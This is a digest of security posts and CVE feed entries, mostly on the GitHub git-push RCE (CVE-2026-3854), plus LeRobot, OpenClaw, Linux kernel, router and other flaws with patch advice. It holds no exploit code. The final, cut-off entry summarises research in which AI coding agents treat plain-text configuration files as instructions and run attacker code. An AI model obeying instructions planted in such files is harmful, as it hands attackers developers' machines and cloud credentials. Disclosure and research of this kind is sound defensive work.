**If you run GitHub Enterprise Server (version 3.19.1 or earlier), upgrade immediately to a patched version (3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.8, 3.19.4, 3.20.0, or later) since nearly 90% of instances are still unpatched. Also check your audit logs at `/var/log/github-audit.log` for push operations with unusual special characters in option values to spot any exploitation attempts; if you use GitHub.com or GitHub Enterprise Cloud, no action is needed since GitHub already fixed it.**
#cybersecurity #infosec #advisory #vulnerability
https://beyondmachines.net/event_details/github-patches-critical-rce-vulnerability-in-github-com-and-github-enterprise-server-r-x-e-8-5/gD2P6Ple2L

With Microsoft pushing AI slop & bots hard into every product without any verification and accountability I am not surprised bug like this now exists. Critical GitHub RCE bug exposed millions of repositories including private one that business users like to keep their code private. GitHub Enterprise Server that allowed an attacker with push access to a repository to achieve remote code execution on the instance https://nvd.nist.gov/vuln/detail/CVE-2026-3854

"A single git push command was enough to exploit a flaw in GitHub's internal protocol and achieve code execution on backend infrastructure.
[…]
This research was made possible by AI-augmented reverse engineering tooling, particularly IDA MCP, which allowed us to rapidly analyze compiled binaries and reconstruct internal protocols at a speed that would not have been feasible manually."
https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

Aside from the abysimal uptime Github currently presents, they -also- had one of the worst security incidents you can think of: An RCE via a simple “git push” with total loss of tenant isolation (via https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854).

If GitHub weren't such a central piece of infrastructure, the current situation would be disastrous for their business.

I am afraid this is just the beginning. #github #security

Cette faille GitHub est exploitable par un simple Git Push (CVE-2026-3854) https://www.it-connect.fr/cette-faille-github-est-exploitable-par-un-simple-git-push-cve-2026-3854/ #ActuCybersécurité #Cybersécurité #Vulnérabilité #GitHub

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown
https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854
Discussion: https://news.ycombinator.com/item?id=47936479

⚠️ CRITICAL: CVE-2026-3854 lets users with push access run arbitrary code on GitHub backend servers. Impacts GitHub.com & Enterprise Server. GitHub.com patched 2026-03-04; ES patch 2026-03-10. Patch ASAP! No wild exploits found. https://radar.offseq.com/threat/critical-github-vulnerability-exposed-millions-of--29b3abff #OffSeq #GitHub #Infosec

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown

Link: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854
Discussion: https://news.ycombinator.com/item?id=47936479

There should be a "but the service is never up to be exploited" reducer on the CVE score.
https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

Question about the GitHub RCE:

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854 says GHES patches were _released_ on 03/10.

https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/ says "we _prepared_ patches [...] and published CVE-2026-3854. These are _available today_".

So were GHES patches made available to customers at the time of CVE publication or only today, 1.5 months laster?

Wiz Research uncovers Remote Code Execution in GitHub.com and GitHub Enterprise Server (CVE-2026-3854) https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown
https://news.ycombinator.com/item?id=47936479

#hackernews #tech

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown https://lobste.rs/s/8fxgx7 #security #vibecoding
https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown

Link: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854
Discussion: https://news.ycombinator.com/item?id=47936479

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown

Link: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854
Discussion: https://news.ycombinator.com/item?id=47936479

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown
Link: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854
Comments: https://news.ycombinator.com/item?id=47936479

@GossiTheDog Here's a non-Twitter link: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

HAHAHAHAHHAHAHAHAHAHAH https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

Wiz got RCE on the cloud version of Github.com and access to every customer environment.

To do this they just reversed the on prem version and found a simple vuln.

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown | Wiz Blog

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

Read on HackerWorkspace: https://hackerworkspace.com/article/github-rce-vulnerability-cve-2026-3854-breakdown-wiz-blog

#aisecurity #vulnerability #exploit

🎉 BREAKING NEWS: #Hackers discover GitHub's secret Easter egg, allowing anyone with a pulse to play "Command & Conquer" on their backend servers! 😂 A riveting tale of how to hack into the Matrix using nothing but a 'git' command — surely, Neo is quaking in his boots. 🕶️
https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854 #GitHub #EasterEgg #CommandAndConquer #HackingIntoTheMatrix #NeoQuaking #HackerNews #ngated

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

#HackerNews #GitHub #RCE #Vulnerability #CVE-2026-3854 #Cybersecurity #Vulnerability #Analysis #InfoSec

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

#github

Beaucoup de gens vont sans doute résumer la faille de sécurité CVE-2026-3854 en « Mon Dieu, la totalité des logiciels hébergés sur GitHub ont peut-être été compromis ».

Mais, en fait, c'était déjà possible, Microsoft (propriétaire de GitHub) pouvait déjà tout modifier.

Tout ce qu'a permis CVE-2026-3854, si des gens l'ont exploité, c'est de démocratiser cette possibilité, en la rendant accessible à tous les gens ayant un compte GitHub.

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

Critical Unpatched RCE Vulnerability in Hugging Face LeRobot Robotics Platform

Hugging Face's LeRobot robotics platform contains a critical unpatched vulnerability (CVE-2026-25874) that allows unauthenticated remote code execution via unsafe pickle deserialization. Attackers can exploit exposed gRPC endpoints to take full control of robotics servers and connected hardware.

**If you're using Hugging Face LeRobot, make sure all robot devices and servers are isolated from the internet and accessible only from trusted networks. Until version 0.6.0 is released with a fix for CVE-2026-25874, run LeRobot as a non-root user inside restricted containers, and monitor for unusual processes or outbound traffic.**
#cybersecurity #infosec #advisory #vulnerability
https://beyondmachines.net/event_details/critical-unpatched-rce-vulnerability-in-hugging-face-lerobot-robotics-platform-z-j-o-7-g/gD2P6Ple2L

Critical Unpatched RCE Vulnerability in Hugging Face LeRobot Robotics Platform

Hugging Face's LeRobot robotics platform contains a critical unpatched vulnerability (CVE-2026-25874) that allows unauthenticated remote code execution via unsafe pickle deserialization. Attackers can exploit exposed gRPC endpoints to take full control of robotics servers and connected hardware.

**If you're using Hugging Face LeRobot, make sure all robot devices and servers are isolated from the internet and accessible only from trusted networks. Until version 0.6.0 is released with a fix for CVE-2026-25874, run LeRobot as a non-root user inside restricted containers, and monitor for unusual processes or outbound traffic.**
#cybersecurity #infosec #advisory #vulnerability
https://beyondmachines.net/event_details/critical-unpatched-rce-vulnerability-in-hugging-face-lerobot-robotics-platform-z-j-o-7-g/gD2P6Ple2L

Critical Unpatched Flaw Leaves Hugging Face LeRobot Open to Unauthenticated RCE

https://thehackernews.com/2026/04/critical-cve-2026-25874-leaves-hugging.html

Read on HackerWorkspace: https://hackerworkspace.com/article/critical-unpatched-flaw-leaves-hugging-face-lerobot-open-to-unauthenticated-rce

#cybersecurity #aisecurity #vulnerability

📰 Critical Unpatched RCE Flaw in Hugging Face's LeRobot AI Platform Puts Robotics Systems at Risk

🚨 CRITICAL FLAW: Unpatched RCE (CVE-2026-25874, CVSS 9.3) in Hugging Face's LeRobot AI platform. Unsafe deserialization allows unauthenticated attackers to execute code. #CVE202625874 #HuggingFace #AI #RCE

🔗 https://cyber.netsecops.io

May I suggest...not exposing your robot control plane to the internet

https://www.resecurity.com/blog/article/cve-2026-25874-hugging-face-lerobot-unauthenticated-rce-via-pickle-deserialization

The vulnerability in question is CVE-2026-25874 (CVSS score: 9.3), which has been described as a case of untrusted data deserialization stemming from the use of the unsafe pickle format. https://thehackernews.com/2026/04/critical-cve-2026-25874-leaves-hugging.html

🟠 CVE-2026-41602 - High (7.5)

Integer Overflow or Wraparound vulnerability in Apache Thrift TFramedTransport Go language implementation

This issue affects Apache Thrift: before 0.23.0.

Users are recommended to upgrade to version 0.23.0, which fixes the issue.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41602/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7320 - High (7.5)

Information disclosure due to incorrect boundary conditions in the Audio/Video component. This vulnerability was fixed in Firefox 150.0.1, Firefox ESR 140.10.1, and Firefox ESR 115.35.1.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7320/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-42432 - High (7.8)

OpenClaw before 2026.4.8 contains a privilege escalation vulnerability allowing previously paired nodes to reconnect with exec-capable commands without operator.admin scope requirement. Attackers can bypass re-pairing authentication to execute pri...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-42432/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-42431 - High (8.1)

OpenClaw before 2026.4.8 contains a security bypass vulnerability in node.invoke(browser.proxy) that allows mutation of persistent browser profiles. Attackers can exploit this path to circumvent the browser.request persistent profile-mutation guar...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-42431/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-42422 - High (8.8)

OpenClaw before 2026.4.8 contains a role bypass vulnerability in the device.token.rotate function that allows minting tokens for unapproved roles. Attackers can bypass device role-upgrade pairing to preserve or mint roles and scopes that had not u...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-42422/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41914 - High (8.5)

OpenClaw before 2026.4.8 contains a server-side request forgery vulnerability in QQ Bot media download paths that bypass SSRF protection. Attackers can exploit unprotected media fetch endpoints to access internal resources and bypass allowlist pol...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41914/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41396 - High (7.8)

OpenClaw before 2026.3.31 allows workspace .env files to override the OPENCLAW_BUNDLED_PLUGINS_DIR environment variable, compromising plugin trust verification. Attackers with control over workspace configuration can inject malicious plugins by ov...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41396/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41394 - High (8.2)

OpenClaw before 2026.3.31 contains an authentication bypass vulnerability where unauthenticated plugin-auth HTTP routes receive operator runtime write scopes. Attackers can access these routes without authentication to perform privileged runtime a...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41394/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41387 - High (7.8)

OpenClaw before 2026.3.22 contains an incomplete host environment variable sanitization vulnerability in host-env-security-policy.json and host-env-security.ts that allows package-manager environment overrides. Attackers can exploit approved exec ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41387/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41384 - High (7.8)

OpenClaw before 2026.3.24 contains an environment variable injection vulnerability in the CLI backend runner that allows attackers to inject malicious environment variables through workspace configuration. Attackers can craft malicious workspace c...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41384/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41383 - High (8.1)

OpenClaw before 2026.4.2 contains an arbitrary directory deletion vulnerability in mirror mode that allows attackers to delete remote directories by influencing remoteWorkspaceDir and remoteAgentWorkspaceDir configuration values. Attackers can man...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41383/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41378 - High (8.8)

OpenClaw before 2026.3.31 contains a privilege escalation vulnerability allowing paired nodes with role=node to dispatch node.event agent requests with unrestricted gateway-side tool access. Attackers with trusted paired node credentials can escal...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41378/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-27760 - High (8.1)

OpenCATS prior to commit 3002a29 contains a PHP code injection vulnerability in the installer AJAX endpoint that allows unauthenticated attackers to execute arbitrary code by injecting PHP statements into the databaseConnectivity action parameter....

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-27760/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7289 - High (8.8)

A vulnerability was found in D-Link DIR-825M 1.1.12. This issue affects the function sub_414BA8 of the file /boafrm/formWanConfigSetup. The manipulation of the argument submit-url results in buffer overflow. The attack can be executed remotely. Th...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7289/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-7279 - High (7.8)

AVACAST developed by eMPIA Technology, has a DLL Hijacking vulnerability, allowing authenticated local attackers to place a malicious DLL in a specific directory, resulting in arbitrary code execution with system privileges when the system loads t...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7279/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-3323 - High (7.5)

An unsecured configuration interface on affected devices allows unauthenticated remote attackers to access sensitive information, including hashed credentials and access codes.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-3323/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Microsoft Patches Critical CVSS 10.0 SSRF Vulnerability in Entra ID

Microsoft patched a critical SSRF vulnerability (CVE-2026-35431) in Entra ID Entitlement Management with a CVSS score of 10.0 that allowed unauthenticated spoofing and internal network access. The flaw was fixed server-side, requiring no action from users to secure their environments.

**No action is needed on your part, Microsoft already fixed this vulnerability on their cloud servers on April 23, 2026. As a good practice, review your Entra ID sign-in and audit logs for any unusual activity from before that date, and ensure multi-factor authentication is enforced for all admin accounts.**
#cybersecurity #infosec #advisory #vulnerability
https://beyondmachines.net/event_details/microsoft-patches-critical-cvss-10-0-ssrf-vulnerability-in-entra-id-c-d-3-y-z/gD2P6Ple2L

🚨 CVE-2026-7243: Critical OS command injection in Totolink A8000RU (7.1cu.643_b20200521). Remote, unauthenticated RCE risk — public exploit out, no patch yet. Lock down management access & monitor for updates. https://radar.offseq.com/threat/cve-2026-7243-os-command-injection-in-totolink-a80-73a189fb #OffSeq #Vulnerability #RouterSecurity

CVE-2026-32644 (CRITICAL, CVSS 9.2): Milesight MS-Cxx63-PD cameras have default SSL private keys, exposing encrypted traffic to interception & tampering. No patch yet — restrict access & follow vendor updates. https://radar.offseq.com/threat/cve-2026-32644-cwe-321-in-milesight-ms-cxx63-pd-60e79b90 #OffSeq #IoTSecurity #Vulnerability

🔴 CVE-2026-32644 - Critical (9.8)

Specific firmware versions of Milesight AIOT cameras use SSL certificates with default private keys.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-32644/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🛑 CRITICAL: Totolink A8000RU (7.1cu.643_b20200521) is vulnerable to OS command injection (CVE-2026-7202). Public exploit available. Restrict remote access & disable WPS until patched! https://radar.offseq.com/threat/cve-2026-7202-os-command-injection-in-totolink-a80-9229772f #OffSeq #IoTSecurity #vulnerability #CVE20267202

🔴 CVE-2026-7202 - Critical (9.8)

A vulnerability has been found in Totolink A8000RU 7.1cu.643_b20200521. This affects the function setWiFiWpsStart of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument wscDisabled leads to os command injec...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7202/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🚨 CRITICAL: Totolink A8000RU (7.1cu.643_b20200521) suffers from OS command injection (CVE-2026-7203). Remote, unauthenticated attackers can fully compromise affected routers. No patch confirmed — disable remote mgmt & isolate. https://radar.offseq.com/threat/cve-2026-7203-os-command-injection-in-totolink-a80-b3a02d32 #OffSeq #Vuln #IoTSec

🔴 CVE-2026-7203 - Critical (9.8)

A vulnerability was found in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects the function setUrlFilterRules of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument enable results in os comma...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7203/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-20766 - High (8.8)

An out-of-bounds memory access vulnerability exists in specific firmware versions of Milesight AIOT cameras.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-20766/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🚨 CRITICAL: Totolink A8000RU (7.1cu.643_b20200521) affected by CVE-2026-7204 — remote OS command injection in CGI handler. No patch yet. Restrict access & monitor for updates. Public exploit disclosed. https://radar.offseq.com/threat/cve-2026-7204-os-command-injection-in-totolink-a80-304b8a45 #OffSeq #Vulnerability #IoTSecurity #CVE20267204

🔴 CVE-2026-7204 - Critical (9.8)

A vulnerability was determined in Totolink A8000RU 7.1cu.643_b20200521. This issue affects the function setPptpServerCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument enable causes os command inje...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7204/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🚨 CRITICAL: Totolink A8000RU routers (7.1cu.643_b20200521) vulnerable to remote, unauthenticated OS command injection (CVE-2026-7204). No patch yet. Restrict access & monitor vendor channels. https://radar.offseq.com/threat/cve-2026-7204-os-command-injection-in-totolink-a80-304b8a45 #OffSeq #Vuln #RouterSecurity #CVE20267204

🟠 CVE-2026-40972 - High (7.5)

An attacker on the same network as the remote application may be able to utilize a timing attack to discover information about the remote secret. In extreme circumstances this could result in the attacker determining the secret and uploading chang...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-40972/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🔴 CVE-2026-31649 - Critical (9.8)

In the Linux kernel, the following vulnerability has been resolved:

net: stmmac: fix integer underflow in chain mode

The jumbo_frm() chain-mode implementation unconditionally computes

len = nopaged_len - bmax;

where nopaged_len = skb_headl...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31649/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-31656 - High (7.8)

In the Linux kernel, the following vulnerability has been resolved:

drm/i915/gt: fix refcount underflow in intel_engine_park_heartbeat

A use-after-free / refcount underflow is possible when the heartbeat
worker and intel_engine_park_heartbeat() ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31656/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🔴 CVE-2026-31669 - Critical (9.8)

In the Linux kernel, the following vulnerability has been resolved:

mptcp: fix slab-use-after-free in __inet_lookup_established

The ehash table lookups are lockless and rely on
SLAB_TYPESAFE_BY_RCU to guarantee socket memory stability
during RCU...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31669/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-31650 - High (7.8)

In the Linux kernel, the following vulnerability has been resolved:

mmc: vub300: fix use-after-free on disconnect

The vub300 driver maintains an explicit reference count for the
controller and its driver data and the last reference can in theory...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31650/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-31662 - High (7.5)

In the Linux kernel, the following vulnerability has been resolved:

tipc: fix bc_ackers underflow on duplicate GRP_ACK_MSG

The GRP_ACK_MSG handler in tipc_group_proto_rcv() currently decrements
bc_ackers on every inbound group ACK, even when the...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31662/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🔴 CVE-2026-31657 - Critical (9.8)

In the Linux kernel, the following vulnerability has been resolved:

batman-adv: hold claim backbone gateways by reference

batadv_bla_add_claim() can replace claim->backbone_gw and drop the old
gateway's last reference while readers still follow ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31657/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-31652 - High (7.8)

In the Linux kernel, the following vulnerability has been resolved:

mm/damon/stat: deallocate damon_call() failure leaking damon_ctx

damon_stat_start() always allocates the module's damon_ctx object
(damon_stat_context). Meanwhile, if damon_cal...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31652/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-31648 - High (7.8)

In the Linux kernel, the following vulnerability has been resolved:

mm: filemap: fix nr_pages calculation overflow in filemap_map_pages()

When running stress-ng on my Arm64 machine with v7.0-rc3 kernel, I
encountered some very strange crash issu...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31648/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🔴 CVE-2026-31668 - Critical (9.8)

In the Linux kernel, the following vulnerability has been resolved:

seg6: separate dst_cache for input and output paths in seg6 lwtunnel

The seg6 lwtunnel uses a single dst_cache per encap route, shared
between seg6_input_core() and seg6_output_...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31668/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

The diversity of advisory is key. Look at how good the advisory of GitHub is compared to the others.

https://db.gcve.eu/vuln/cve-2026-40372

#cve #vulnerability #vulnerabilitymanagement

⚪️ Microsoft Issues Emergency Patch for Critical ASP.NET Vulnerability

🗨️ Microsoft has released an out-of-band update for ASP.NET Core. The patch fixes a critical vulnerability in the Data Protection cryptographic APIs that allowed unauthenticated attackers to obtain SYSTEM privileges by forging authentication cookies. The vulnerability is tracked as CVE-2026-40372 and…

🔗 https://hackmag.com/news/asp-net-patch?utm_source=mastodon&utm_medium=social&utm_campaign=repost_hackmag_to_socials

#news

🔴 New security advisory:

CVE-2026-33454 affects multiple systems.

• Impact: Remote code execution or complete system compromise possible
• Risk: Attackers can gain full control of affected systems
• Mitigation: Patch immediately or isolate affected systems

Full breakdown:
https://www.yazoul.net/advisory/cve/cve-2026-33454-apache-camel-header-injection-via-email

#InfoSec #VulnerabilityManagement #CyberSec

🔴 CVE-2026-31659 - Critical (9.8)

In the Linux kernel, the following vulnerability has been resolved:

batman-adv: reject oversized global TT response buffers

batadv_tt_prepare_tvlv_global_data() builds the allocation length for a
global TT response in 16-bit temporaries. When a ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31659/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-31663 - High (7.8)

In the Linux kernel, the following vulnerability has been resolved:

xfrm: hold dev ref until after transport_finish NF_HOOK

After async crypto completes, xfrm_input_resume() calls dev_put()
immediately on re-entry before the skb reaches transpor...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31663/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Notepad++ Patches Critical Format String Injection Flaw

Notepad++ version 8.9.4 patches a critical format string injection vulnerability (CVE-2026-3008) that allow attackers to crash the application or leak sensitive memory data via malicious language packs.

**If you use Notepad++, update to version 8.9.4 immediately through the official website or built-in updater, especially if you use a non-English language pack. Only download language packs from the official Notepad++ source, never from forums or third-party sites.**
#cybersecurity #infosec #advisory #vulnerability
https://beyondmachines.net/event_details/notepad-patches-critical-format-string-injection-flaw-w-m-g-l-s/gD2P6Ple2L

🔴 CVE-2026-31637 - Critical (9.8)

In the Linux kernel, the following vulnerability has been resolved:

rxrpc: reject undecryptable rxkad response tickets

rxkad_decrypt_ticket() decrypts the RXKAD response ticket and then
parses the buffer as plaintext without checking whether
cry...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-31637/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Composer (the dominant PHP package manager) shipped 2.9.6 and 2.2.27 LTS in April. The release fixes two command-injection bugs in the Perforce driver. CVE-2026-40261, severity 8.8. A malicious composer.json declares a Perforce repository and the shell runs whether or not Perforce is installed. Packagist disabled Perforce metadata April 10. Most CI build agents kept no audit trail across the ninety days the bug was live.

#PHP #CyberSecurity #DevOps #InfoSec #SupplyChain

@adulau@infosec.exchange @gcve@social.circl.lu For context: #Buildroot has tools to list known vulnerabilities for packages, currently based on NVD data (via https://github.com/fkie-cad/nvd-json-data-feeds).

I noticed it's missing a bunch of vulnerabilities (e.g. CVE-2026-40200, CVE-2026-6042 in musl libc) because the NVD data is missing CPE match information. At the time the CVEs were listed as "Awaiting Analysis", now "Deferred", so I assume it's not going to be added any time soon, if ever (generally the CPE match is present for vulnerabilities in "Analyzed" status). Looking at the GCVE listings was an attempt to find another, hopefully better, source, because an automated check that misses so many vulnerabilities is not going to be very useful.

Today @Bubu@chaos.social pointed me at a similar example: CVE-2025-6020 (note the year), a "high" level vulnerability in linux-pam, which is also marked as "Deferred" in NVD. So we really could use a better source.

We'd need one we can download (rather than query individual packages one by one) without excessive load, but solving that is another matter, first we need a suitable source at all.

Three glibc CVEs, including CVSS 9.8 heap overflow in scanf (CVE-2026-5450). Affects glibc 2.7 through 2.43, that's decades of releases. When the C library has bugs, everything on Linux has bugs. Patch.

Over 400,000 sites at risk as hackers exploit Breeze Cache plugin flaw (CVE-2026-3844) https://securityaffairs.com/191267/uncategorized/over-400000-sites-at-risk-as-hackers-exploit-breeze-cache-plugin-flaw-cve-2026-3844.html

“The clearest example is kill -1 (CVE-2026-35369). GNU reads -1 as “signal 1” and asks for a PID. uutils read it as “send the default signal to PID -1”, which on Linux means every process you can see. Yikes!”

wat

Cisco has a new advisory for two critical vulnerabilities:

- CVE-2026-20147and CVE-2026-20148: Cisco Identity Services Engine Remote Code Execution and Path Traversal Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-rce-traversal-8bYndVrZ @TalosSecurity #Cisco

Broadcom:

High Severity: OM Spool Java Transformers vulnerabilities in OpenText Transformation Designer (OTD) - CVE-2026-5588, CVE-2025-59250, CVE-2025-12383, CVE-2025-48924, and CVE-2025-68161 https://support.broadcom.com/web/ecx/security-advisory #Broadcom

Tenable research advisories posted this yesterday:

Spring AI SQL Injection in PgVectorStore and friends https://www.tenable.com/security/research/tra-2026-36 #infosec #vulnerability

LMDeploy CVE-2026-33626 Flaw Exploited Within 13 Hours of Disclosure https://thehackernews.com/2026/04/lmdeploy-cve-2026-33626-flaw-exploited.html

----------------

🎯 AI
===================

Executive summary: Check Point published detailed research demonstrating that popular AI development agents can interpret plain-text configuration files as executable instructions, enabling remote attackers to achieve code execution on developer machines and access cloud credentials. The report documents three distinct vulnerabilities in Claude Code, OpenAI Codex, and Cursor (CVE-2025-59536, CVE-2025-61260, CVE-2025-54136).

Technical details: